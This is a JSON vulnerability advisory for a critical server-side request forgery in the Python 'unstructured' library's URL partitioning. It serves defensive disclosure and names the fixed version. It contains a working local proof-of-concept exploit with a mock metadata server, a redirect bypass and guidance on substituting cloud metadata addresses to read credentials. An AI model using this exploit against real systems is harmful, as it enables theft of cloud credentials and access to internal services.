{"id":"CVE-2026-71428","aliases":["GHSA-4mvj-m6j5-pmf7","PYSEC-2026-3930"],"url":"https://o3.security/vulnerability/CVE-2026-71428","summary":"unstructured: Server-Side Request Forgery in the URL-based partitioning","details":"### Summary\n\nServer-Side Request Forgery in `unstructured`. The `url=` argument of `partition()`, `partition_html()`, and `partition_md()` is fetched via `requests.get()` with no host validation. The response body is returned as `Element` text, so this is a **full-read SSRF** — attackers reach loopback admin APIs, internal HTTP services, and cloud metadata endpoints, and read the response. \n\n`unstructured` is the de facto URL ingestion layer for LangChain `UnstructuredURLLoader`, LlamaIndex `UnstructuredReader`, Chainlit, and many agent frameworks — secure defaults must live in the library, not in every downstream caller.\n\n### Details\n\nThree sinks, all in `unstructured == 0.22.26` (verified on `main` at `199f255`):\n\n- `unstructured/partition/auto.py:303` — `file_and_type_from_url()`, reached via `partition(url=…)`.\n- `unstructured/partition/html/partition.py:160` — `partition_html(url=…)`. Post-fetch `Content-Type` check runs after the request hits the target.\n- `unstructured/partition/md.py:96` — `partition_md(url=…)`. No timeout (SSRF + slow-loris DoS).\n\nNone of `is_private`, `is_loopback`, `ipaddress`, `gethostbyname`, or `allow_redirects` appear in any of the three files. Three exploitation paths apply: direct private-IP target; redirect bypass (`allow_redirects=True` default); DNS rebinding (TOCTOU, closeable only by socket-pinning). Affected since `0.4.7` (Feb 2023) — ~219 releases, no validation ever introduced.\n\n### PoC\n\nLocal-only. `pip install unstructured==0.22.26 flask requests`.\n\n`internal_server.py`:\n\n```python\nfrom flask import Flask, Response, jsonify\napp = Flask(__name__)\n\n@app.route(\"/imds\")\ndef imds(): return jsonify({\"AccessKeyId\": \"ASIA-FAKE\", \"SecretAccessKey\": \"FAKE/SECRET\"})\n\n@app.route(\"/internal.html\")\ndef html(): return Response(\"<html><body><p>SK_LEAK_42</p></body></html>\", mimetype=\"text/html\")\n\n@app.route(\"/redir\")\ndef redir(): return Response(\"\", 302, headers={\"Location\": \"http://127.0.0.1:9999/imds\"})\n\nif __name__ == \"__main__\": app.run(host=\"127.0.0.1\", port=9999)\n```\n\n`exploit.py` — uses the public top-level API:\n\n```python\n# Stub NLP helpers so the offline sandbox skips spaCy model download.\n# Does NOT affect the SSRF (which lives in the URL fetcher, before NLP).\nimport unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt\n_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or \"\").split(\". \") if s]\n_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or \"\").split()\n_tk.pos_tag       = _tt.pos_tag       = lambda t: [(w, \"NN\") for w in (t or \"\").split()]\n\nfrom unstructured.partition.auto import partition\nL = \"http://127.0.0.1:9999\"\n\n# A: partition(url=...) leaks internal HTML body\nassert \"SK_LEAK_42\" in \"\\n\".join(str(e) for e in partition(url=f\"{L}/internal.html\", languages=[\"eng\"]))\n# B: redirect bypass reaches simulated IMDS\nassert \"SecretAccessKey\" in \"\\n\".join(str(e) for e in partition(url=f\"{L}/redir\", languages=[\"eng\"]))\nprint(\"PoC OK\")\n```\n\nIn production the attacker substitutes `169.254.169.254`, `metadata.google.internal`, or any internal address.\n\n### Impact\n\nAttacker capabilities:\n\n- **Internal HTTP service read** — loopback admin consoles, internal Elasticsearch/Redis/Consul/etcd HTTP fronts, Kubernetes API server, social/internal microservices. This is the most broadly exploitable capability and is unaffected by any cloud-side hardening.\n- **Cloud instance metadata access** — reads metadata services that respond to unauthenticated GETs: GCP (`metadata.google.internal`), Azure IMDS, Oracle Cloud, DigitalOcean, and EC2 instances still configured for IMDSv1 (which remains widely deployed in older accounts and in services that do not enforce IMDSv2-only). EC2 instances configured as IMDSv2-only are not exposed to direct credential theft via this SSRF, since IMDSv2 requires a `PUT` for token acquisition; the SSRF still reaches the endpoint for reconnaissance and surface-mapping.\n- **Side-effecting GET endpoints** — magic-link consumers, job triggers, link-preview generators reachable on internal networks.\n- **Internal network reconnaissance** — connection success/failure timing and error messages serve as a port and service scanner.","published":"2026-08-20T16:43:01.306Z","modified":"2026-09-20T11:47:27.202331566Z","cvss":{"score":9.3,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"unstructured","fixedVersion":"0.24.0"}],"fix":{"url":"https://github.com/Unstructured-IO/unstructured/commit/445c95735c4045057f51f399bc04c657751923bd","label":"Unstructured-IO/unstructured@445c957"},"references":[{"type":"WEB","url":"https://github.com/Unstructured-IO/unstructured/releases/tag/0.24.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/71xxx/CVE-2026-71428.json"},{"type":"ADVISORY","url":"https://github.com/Unstructured-IO/unstructured/security/advisories/GHSA-4mvj-m6j5-pmf7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71428"},{"type":"FIX","url":"https://github.com/Unstructured-IO/unstructured/commit/445c95735c4045057f51f399bc04c657751923bd"},{"type":"FIX","url":"https://github.com/Unstructured-IO/unstructured/pull/4388"},{"type":"PACKAGE","url":"https://github.com/Unstructured-IO/unstructured"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-20T11:47:27.202331566Z"}}